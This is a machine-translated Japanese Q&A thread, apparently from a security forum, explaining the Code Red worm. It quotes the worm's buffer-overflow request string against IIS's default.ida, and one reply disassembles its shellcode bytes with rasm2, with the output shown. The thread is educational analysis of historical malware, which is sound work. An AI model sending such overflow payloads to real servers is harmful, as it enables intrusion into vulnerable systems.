web-dev-qa-db-ja.com

Code Redワームはどのように機能しましたか?

それで、私はCode Redワームについて少し読んでいて、Gistを取得しましたが、オーバーフロー文字列は私には意味がありません。

this サイトから、ワームが使用したオーバーフロー文字列は

/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucb
d3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u
9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a

すべての「N」はおそらくバッファオーバーフローのためだけですが、文字と%記号はどういう意味ですか?違いがあったとしても、C言語もASP.NETも知りません。

5
YazanLpizra

私は推測しているだけですが、はい、Nは初期バッファオーバーフロー用です。 %u9090%u6858%ucbd3%u7801が何度も繰り返されていることに気づくでしょう。これらは16進数で8バイトのUnicode値です。

%u9090は、おそらくNOP(操作なし)の機械命令です。 Intel x86の16進数では、この命令は1バイト、0x90です。したがって、これらの8バイトを3回繰り返します。私が推測している目的は、返信アドレスを独自のアドレスで上書きすることです。

次に、%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00があります。これは、実行するために必要なシェルコードであるように思われます。ユニコード指定子%uを削除すると、一連の指示が表示されます。 radare2 を使用すると、90909090819000c300038b00531b53ff00780000で次のコマンドを実行できます

rasm2 -d 90909090819000c300038b00531b53ff00780000
nop
nop
nop
nop
adc dword [eax + 0x300c300], 0x1b53008b
Push ebx
inc dword [eax]
js 0x13
.byte 0x00 1

ここで、最初の3つの繰り返し値について間違っている可能性があります。多分それらはシェルコードの一部です。そのため、完全なバイト文字列に対して同じコマンドを実行してみましょう。

$ rasm2 -d 90906858cbd3780190906858cbd3780190906858cbd3780190909090819000c300038b00531b53ff00780000
nop
nop
Push 0x78d3cb58
add dword [eax - 0x34a79770], edx
sar dword [eax + 1], cl
nop
nop
Push 0x78d3cb58
add dword [eax - 0x7e6f6f70], edx
nop
add bl, al
add byte [ebx], al
mov eax, dword [eax]
Push ebx
sbb edx, dword [ebx - 1]
add byte [eax], bh
.byte 0x00 1

バッファオーバーフローのしくみについて詳しく知るにはチェックアウト なぜバッファオーバーフローが現在の方向に実行されるのですか? 、および 後続のNULLバイトを無視することによるセキュリティへの影響

5
RoraΖ